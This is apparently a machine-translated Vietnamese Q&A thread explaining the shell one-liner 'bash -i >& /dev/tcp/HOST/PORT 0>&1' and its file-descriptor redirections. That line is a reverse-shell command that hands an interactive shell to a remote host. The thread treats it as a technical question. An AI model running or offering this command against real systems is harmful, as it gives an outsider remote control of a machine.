Ý nghĩa của bash -i> & / dev / tcp / HOST / PORT 0> & 1?


15

Tôi đã thử

bash -i >& /dev/tcp/HOST/PORT 0>&1

nhưng nó dường như không hoạt động đằng sau tường lửa. Mã này thực sự làm gì, cổng nào được chuyển tiếp và nó có thể hoạt động sau tường lửa không?

Câu trả lời:


17

Đoạn mã này chạy một phiên bản tương tác mới của bash ( bash -i), trên kết nối TCP đến cổng được chỉ định trên máy chủ được chỉ định được tạo trong thời gian của quá trình bash. Đầu ra tiêu chuẩn và lỗi tiêu chuẩn được gửi qua kết nối này ( >& /dev/tcp/HOST/PORT) và đầu vào tiêu chuẩn được đọc qua kết nối này ( 0>&1- điều này cũng nên 0<&1nhưng cũng 0>&1hoạt động).

Không có cổng chuyển tiếp đang diễn ra. Rõ ràng, một máy chủ TCP thuộc loại nào đó phải lắng nghe và chấp nhận các kết nối trên HOST: PORT đó và tường lửa phải cho phép kết nối thông qua.


Kết nối nào là '/ dev / tcp / HOST / PORT' Máy chủ được xác định ở đâu và cổng được xác định ở đâu?
Helos

2
@Helos Bạn có thấy nghĩa đen /dev/tcp/HOST/PORTkhông? Tôi giả sử rằng bạn đã thay thế một tên bằng HOSTvà một số bằng PORT. Nếu không, bạn sẽ nhận được một thông báo lỗi từ bash. Vì bạn không đề cập đến bất kỳ thông báo lỗi nào, tôi cho rằng bạn đã không nhìn thấy một thông báo.
Gilles 'SO- ngừng trở nên xấu xa'

1
@Gilles, tôi không thể tiêu hóa 0<&1phần này. Tôi đọc nó là 'lấy bash stdout ( &1) và chuyển nó thành bash stdin ( 0)', điều này có ý nghĩa. Bạn có thể vui lòng giải thích làm thế nào phần này hoạt động?
golem

5
@golem Đây là một chuyển hướng. Không có đường ống có liên quan. 0<&1có nghĩa là kết nối bất cứ thứ gì hiện đang được mở trên bộ mô tả tệp 1 với bộ mô tả tệp 0. Vì lần chuyển hướng trước đó đã >& /dev/tcp/HOST/PORTkết nối fd 1 (mặc định cho chuyển hướng đầu ra) /dev/tcp/HOST/PORT, tức là đã mở một ổ cắm TCP, điều này sao chép kết nối TCP với bộ mô tả tệp 0 (nghĩa là cùng một ổ cắm hiện đang mở trên fd 0, điều này khác với 0 </ dev / tcp / HOST / PORT sẽ mở một ổ cắm khác cho cùng một máy chủ).
Gilles 'SO- đừng trở nên xấu xa'

Kết nối là một từ khóa để hiểu biết của tôi; gọi đường ống quá trình thực sự là những gì làm tôi bối rối.
golem
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.